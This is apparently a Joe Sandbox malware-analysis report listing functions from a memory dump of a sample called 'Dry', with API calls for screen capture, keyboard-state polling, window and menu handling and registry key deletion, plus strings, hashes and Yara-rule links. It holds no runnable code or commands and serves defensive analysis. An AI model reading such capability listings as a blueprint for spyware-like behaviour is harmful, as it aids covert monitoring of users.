Instruction Fuzzy Hash: 2AC18D34204241AFD710DF25C495F2ABBE1FF85304F14859CE49A8B7A2CB79ED46CB91

Function 00B62FB9 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 169windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00B63035
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 00B63045
CreateCompatibleDC.GDI32(?), ref: 00B63051
SelectObject.GDI32(00000000,?), ref: 00B6305E
StretchBlt.GDI32(?,00000000,00000000,?,?,?,00000006,?,?,?,00CC0020), ref: 00B630CA
GetDIBits.GDI32(?,?,00000000,00000000,00000000,00000028,00000000), ref: 00B63109
GetDIBits.GDI32(?,?,00000000,?,00000000,00000028,00000000), ref: 00B6312D
SelectObject.GDI32(?,?), ref: 00B63135
DeleteObject.GDI32(?), ref: 00B6313E
DeleteDC.GDI32(?), ref: 00B63145
ReleaseDC.USER32(00000000,?), ref: 00B63150

Strings

(, xrefs: 00B630EA

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: 32480140b8a3bc7bc3972295f5636bddcd0190f50195baa4e21cf1ce9fc0dc54
Instruction ID: ac4afced331e72e0c3a89d097bca9cea126b9c6e6f44196dc7847fd5878b1d4e
Opcode Fuzzy Hash: 32480140b8a3bc7bc3972295f5636bddcd0190f50195baa4e21cf1ce9fc0dc54
Instruction Fuzzy Hash: 2361D2B5D00219AFCF04CFA8D884EAEBBF5FF48710F208569E559A7250D775AA41CF90

Function 00B7A94F Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 271windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00AE249F: GetWindowLongW.USER32(00000000,000000EB), ref: 00AE24B0

GetSystemMetrics.USER32(0000000F), ref: 00B7A990
GetSystemMetrics.USER32(00000011), ref: 00B7A9A7
GetSystemMetrics.USER32(00000004), ref: 00B7A9B3
GetSystemMetrics.USER32(0000000F), ref: 00B7A9C9
MoveWindow.USER32(00000003,?,?,00000001,?,00000000,?,00000000,?,00000000), ref: 00B7AC15
SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 00B7AC33
SendMessageW.USER32(00000003,00000469,?,00000000), ref: 00B7AC54
ShowWindow.USER32(00000003,00000000), ref: 00B7AC73
InvalidateRect.USER32(?,00000000,00000001), ref: 00B7AC95
DefDlgProcW.USER32(?,00000005,?), ref: 00B7ACBB

Strings

@, xrefs: 00B7ABD0

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: MetricsSystem$Window$MessageSend$InvalidateLongMoveProcRectShow
String ID: @
API String ID: 3962739598-2766056989
Opcode ID: 7a53c0cdab8e3e6d8e91163ee45b851dfe3f301672ee83b367a26eb6102588c1
Instruction ID: 270b369b4b29e782b84bb9737ba770380e8e20e84f4d7aa89cc3c15cd38d51dd
Opcode Fuzzy Hash: 7a53c0cdab8e3e6d8e91163ee45b851dfe3f301672ee83b367a26eb6102588c1
Instruction Fuzzy Hash: 29B16731600219EBDF55CF68C9857AE7BF2FF84700F18C0A9ED59AB295DB70A980CB51

Function 00B452AA Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 259COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000400), ref: 00B452E6
GetWindowTextW.USER32(?,?,00000400), ref: 00B45328
_wcslen.LIBCMT ref: 00B45339
CharUpperBuffW.USER32(?,00000000), ref: 00B45345
_wcsstr.LIBVCRUNTIME ref: 00B4537A
GetClassNameW.USER32(00000018,?,00000400), ref: 00B453B2
GetWindowTextW.USER32(?,?,00000400), ref: 00B453EB
GetClassNameW.USER32(00000018,?,00000400), ref: 00B45445
GetClassNameW.USER32(?,?,00000400), ref: 00B45477
GetWindowRect.USER32(?,?), ref: 00B454EF

Strings

ThumbnailClass, xrefs: 00B453BD, 00B45450

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: ClassName$Window$Text$BuffCharRectUpper_wcslen_wcsstr
String ID: ThumbnailClass
API String ID: 1311036022-1241985126
Opcode ID: fcba4434af34d3059af704f6cc409f60af70257d7d734fc3a4fa529e226b7846
Instruction ID: 0574a5805fcc0501c377ac0769e8a75550c8b1f244fde755b8d28a467a05f8f5
Opcode Fuzzy Hash: fcba4434af34d3059af704f6cc409f60af70257d7d734fc3a4fa529e226b7846
Instruction Fuzzy Hash: 9591CE71104F06AFD728DF24C984BAAB7F9FF10340F004599FA8A82192EB31EE55DB91

Function 00B7976A Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 221windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00AE249F: GetWindowLongW.USER32(00000000,000000EB), ref: 00AE24B0

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00B797B6
GetFocus.USER32 ref: 00B797C6
GetDlgCtrlID.USER32(00000000), ref: 00B797D1
DefDlgProcW.USER32(?,00000111,?,?,00000000,?,?,?,?), ref: 00B79879
GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 00B7992B
GetMenuItemCount.USER32(?), ref: 00B79948
GetMenuItemID.USER32(?,00000000), ref: 00B79958
GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 00B7998A
GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 00B799CC
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00B799FD

Strings

0, xrefs: 00B798FB

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow
String ID: 0
API String ID: 1026556194-4108050209
Opcode ID: e129dc36913d9f67505ff7f46deacca7cef77b6c9167632249cc7207b3fcec9f
Instruction ID: 75c76f803fdb660dd24228a8f9e78af75e61a135393037d46de6eef33e604e55
Opcode Fuzzy Hash: e129dc36913d9f67505ff7f46deacca7cef77b6c9167632249cc7207b3fcec9f
Instruction Fuzzy Hash: D281C3715083019FE710CF25C885A6B7BE8FF89354F00899DF9ADA7291DB70D905CBA2

Function 00B4C8F7 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 190windowsleepCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(00BB29C0,000000FF,00000000,00000030), ref: 00B4C973
SetMenuItemInfoW.USER32(00BB29C0,00000004,00000000,00000030), ref: 00B4C9A8
Sleep.KERNEL32(000001F4), ref: 00B4C9BA
GetMenuItemCount.USER32(?), ref: 00B4CA00
GetMenuItemID.USER32(?,00000000), ref: 00B4CA1D
GetMenuItemID.USER32(?,-00000001), ref: 00B4CA49
GetMenuItemID.USER32(?,?), ref: 00B4CA90
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00B4CAD6
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00B4CAEB
SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00B4CB0C

Strings

0, xrefs: 00B4C904

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep
String ID: 0
API String ID: 1460738036-4108050209
Opcode ID: 3385d99d0f02acbc94957fb17cea1000a9218f712a6f5a4554dde0d094bce235
Instruction ID: c94d4272d5d58630f7e963da2ade555faa632ec2248cfbcd0252c730822cb29c
Opcode Fuzzy Hash: 3385d99d0f02acbc94957fb17cea1000a9218f712a6f5a4554dde0d094bce235
Instruction Fuzzy Hash: 96619B70A02249AFDF51CF64C889AFE7FF8FB05788F040195E911A3291DB30AE40EB61

Function 00B4E4C2 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 178COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(?,?), ref: 00B4E4D4
GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 00B4E4FA
_wcslen.LIBCMT ref: 00B4E504
_wcsstr.LIBVCRUNTIME ref: 00B4E554
VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 00B4E570

Strings

StringFileInfo\, xrefs: 00B4E543
04090000, xrefs: 00B4E5A6
DefaultLangCodepage, xrefs: 00B4E5D3
%u.%u.%u.%u, xrefs: 00B4E64E
\VarFileInfo\Translation, xrefs: 00B4E568

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: FileInfoVersion$QuerySizeValue_wcslen_wcsstr
String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
API String ID: 1939486746-1459072770
Opcode ID: 9a1fbed216260290908bfb1088b78e98e58f09f27261c937bcd7db36825467f8
Instruction ID: 20eec9f4eeac8ea9b9975c294480c4d5a0dd59cd25a04feba06819469d7b8e3c
Opcode Fuzzy Hash: 9a1fbed216260290908bfb1088b78e98e58f09f27261c937bcd7db36825467f8
Instruction Fuzzy Hash: BA41F2726482047AEB05AB648C47EBF7BECEF65750F0040E9F904B60D2EF74DA01A6A5

Function 00B6D694 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 104registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 00B6D6C4
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,?,?,00000000), ref: 00B6D6ED
FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 00B6D7A8

Part of subcall function 00B6D694: RegCloseKey.ADVAPI32(?,?,?,00000000), ref: 00B6D70A
Part of subcall function 00B6D694: LoadLibraryA.KERNEL32(advapi32.dll,?,?,00000000), ref: 00B6D71D
Part of subcall function 00B6D694: GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00B6D72F
Part of subcall function 00B6D694: FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 00B6D765
Part of subcall function 00B6D694: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 00B6D788

RegDeleteKeyW.ADVAPI32(?,?), ref: 00B6D753

Strings

RegDeleteKeyExW, xrefs: 00B6D729
advapi32.dll, xrefs: 00B6D718

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Library$EnumFree$AddressCloseDeleteLoadOpenProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2734957052-4033151799
Opcode ID: 1592c09bc53060397380c3071248ff0d18fa2d1fa611a6077d4960e22edfe265
Instruction ID: 0d26ee9dbaec06c50ce16d05ecc001fed9b08837b69b903031478596d7de6dcc
Opcode Fuzzy Hash: 1592c09bc53060397380c3071248ff0d18fa2d1fa611a6077d4960e22edfe265
Instruction Fuzzy Hash: E4317272E01129BBD7219B50DC88EFFBBBCEF46750F0001A5F905E3150DB789E459AA1

Function 00B4EFC7 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00B4EFCB

Part of subcall function 00AFF215: timeGetTime.WINMM(?,?,00B4EFEB), ref: 00AFF219

Sleep.KERNEL32(0000000A), ref: 00B4EFF8
EnumThreadWindows.USER32(?,Function_0006EF7C,00000000), ref: 00B4F01C
FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 00B4F03E
SetActiveWindow.USER32 ref: 00B4F05D
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 00B4F06B
SendMessageW.USER32(00000010,00000000,00000000), ref: 00B4F08A
Sleep.KERNEL32(000000FA), ref: 00B4F095
IsWindow.USER32 ref: 00B4F0A1
EndDialog.USER32(00000000), ref: 00B4F0B2

Strings

BUTTON, xrefs: 00B4F030

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: 89ba0719cd4d7e2d3ac07d6eb287965253911371aa5c2047a1dd8eb82ffd1717
Instruction ID: 5a6504429d109b16c5e452ee5fecb2cf131c0757b70898350714e80df1a67098
Opcode Fuzzy Hash: 89ba0719cd4d7e2d3ac07d6eb287965253911371aa5c2047a1dd8eb82ffd1717
Instruction Fuzzy Hash: F6218171504205BFE7116F60EC89B267BFAFB99B95B000165F50A93372CFB18E84A661

Function 00B4F313 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 71COMMON

Download Yara Rule

APIs

Part of subcall function 00AEB329: _wcslen.LIBCMT ref: 00AEB333

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 00B4F374
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00B4F38A
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00B4F39B
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00B4F3AD
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 00B4F3BE

Strings

alias PlayMe, xrefs: 00B4F34D
open , xrefs: 00B4F323
play PlayMe, xrefs: 00B4F3B9
play PlayMe wait, xrefs: 00B4F3A8
close PlayMe, xrefs: 00B4F385, 00B4F3B2
status PlayMe mode, xrefs: 00B4F36F

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: SendString$_wcslen
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2420728520-1007645807
Opcode ID: e276f54b840517c6657d026072698d09bac40e18abfa49e91d675c6029365243
Instruction ID: 2bee9344836b68c18b364275bc55c94d6836e0e36d0af94cc637b337ea318714
Opcode Fuzzy Hash: e276f54b840517c6657d026072698d09bac40e18abfa49e91d675c6029365243
Instruction Fuzzy Hash: 9D118632AD819979D720A766CC4AEFF6AFCEFD2B40F4004AA7401E30E1DEA05E45C5B1

Function 00B4A958 Relevance: 18.2, APIs: 12, Instructions: 188keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00B4A9D9
SetKeyboardState.USER32(?), ref: 00B4AA44
GetAsyncKeyState.USER32(000000A0), ref: 00B4AA64
GetKeyState.USER32(000000A0), ref: 00B4AA7B
GetAsyncKeyState.USER32(000000A1), ref: 00B4AAAA
GetKeyState.USER32(000000A1), ref: 00B4AABB
GetAsyncKeyState.USER32(00000011), ref: 00B4AAE7
GetKeyState.USER32(00000011), ref: 00B4AAF5
GetAsyncKeyState.USER32(00000012), ref: 00B4AB1E
GetKeyState.USER32(00000012), ref: 00B4AB2C
GetAsyncKeyState.USER32(0000005B), ref: 00B4AB55
GetKeyState.USER32(0000005B), ref: 00B4AB63

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: cf9032694fcc8f3cbe448bda3773152f7f9077c65093340d79fed5735fd67337
Instruction ID: 2388c3399d550765c463d108fa1b4e6a7c1fa3d27ca5c96bff4f04e29c99f23c
Opcode Fuzzy Hash: cf9032694fcc8f3cbe448bda3773152f7f9077c65093340d79fed5735fd67337
Instruction Fuzzy Hash: 4E51C460A4478429FB35D7A48950BEABFF5DF11380F0845DDC5C25B1C2DA649B8CD763

Function 00B4662D Relevance: 18.2, APIs: 12, Instructions: 173COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 00B46649
GetWindowRect.USER32(00000000,?), ref: 00B46662
MoveWindow.USER32(?,0000000A,00000004,?,?,00000004,00000000), ref: 00B466C0
GetDlgItem.USER32(?,00000002), ref: 00B466D0
GetWindowRect.USER32(00000000,?), ref: 00B466E2
MoveWindow.USER32(?,?,00000004,00000000,?,00000004,00000000), ref: 00B46736
GetDlgItem.USER32(?,000003E9), ref: 00B46744
GetWindowRect.USER32(00000000,?), ref: 00B46756
MoveWindow.USER32(?,0000000A,00000000,?,00000004,00000000), ref: 00B46798
GetDlgItem.USER32(?,000003EA), ref: 00B467AB
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 00B467C1
InvalidateRect.USER32(?,00000000,00000001), ref: 00B467CE

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: 47ba609e6df3dc39bc7c12910fea6652f7ee99f21d55686fdd86cbf28d626a68
Instruction ID: 657749f6f2e14d3c445d9b9e7ee49e294fd04f8660fed4eb1e0e83eebc56c943
Opcode Fuzzy Hash: 47ba609e6df3dc39bc7c12910fea6652f7ee99f21d55686fdd86cbf28d626a68
Instruction Fuzzy Hash: E3511FB1A00205AFDF18CF68DD85AAEBBB5FF49314F108169F919E7290DB70AE44CB50

Function 00AE146D Relevance: 18.2, APIs: 12, Instructions: 168timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00AE1802: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00AE1488,?,00000000,?,?,?,?,00AE145A,00000000,?), ref: 00AE1865

DestroyWindow.USER32(?), ref: 00AE1521
KillTimer.USER32(00000000,?,?,?,?,00AE145A,00000000,?), ref: 00AE15BB
DestroyAcceleratorTable.USER32(00000000), ref: 00B229B4
ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,00000000,?,?,?,?,00AE145A,00000000,?), ref: 00B229E2
ImageList_Destroy.COMCTL32(?,?,?,?,?,?,?,00000000,?,?,?,?,00AE145A,00000000,?), ref: 00B229F9
ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,?,?,00000000,?,?,?,?,00AE145A,00000000), ref: 00B22A15
DeleteObject.GDI32(00000000), ref: 00B22A27

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: 4be6329ef03d3c0989fcc71143ab854948830d2d1167bd46fefd7ff335866eab
Instruction ID: 9c94dbb37471cf2f7c75741c5676f89c2e9629ba27d41dc4f90ed6b6ad0e5399
Opcode Fuzzy Hash: 4be6329ef03d3c0989fcc71143ab854948830d2d1167bd46fefd7ff335866eab
Instruction Fuzzy Hash: 12616A31501761EFDB399F15D948B2A77F1FF81312F109269E09B97AA0CB70A891CF90

Function 00AE2128 Relevance: 18.1, APIs: 12, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 00AE2234: GetWindowLongW.USER32(?,000000EB), ref: 00AE2242

GetSysColor.USER32(0000000F), ref: 00AE2152

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: 982bad99b21c15f54a7be6eff869575a6b1ce487ce179859591e65fad4b36530
Instruction ID: 090989f1f7f54e3b9b09c9c09beda62e979c9844da3deccf555c8b794028cef3
Opcode Fuzzy Hash: 982bad99b21c15f54a7be6eff869575a6b1ce487ce179859591e65fad4b36530
Instruction Fuzzy Hash: D041B131100690AFDB205F399C48BB937B9EF46770F544355FAAA9B2E1CB319E82DB11

Function 00B4A05C Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 137windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000000,00000001,00000000,?,00B30D31,00000001,0000138C,00000001,00000000,00000001,?,00B5EEAE,00BB2430), ref: 00B4A091
LoadStringW.USER32(00000000,?,00B30D31,00000001), ref: 00B4A09A

Part of subcall function 00AEB329: _wcslen.LIBCMT ref: 00AEB333

GetModuleHandleW.KERNEL32(00000000,00000001,?,00000FFF,?,?,00B30D31,00000001,0000138C,00000001,00000000,00000001,?,00B5EEAE,00BB2430,?), ref: 00B4A0BC
LoadStringW.USER32(00000000,?,00B30D31,00000001), ref: 00B4A0BF
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00B4A1E0

Strings

%s (%d) : ==> %s: %s %s, xrefs: 00B4A1C4
Line %d (File "%s"):, xrefs: 00B4A109
^ ERROR, xrefs: 00B4A175
Line %d:, xrefs: 00B4A11A
Error: , xrefs: 00B4A197

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
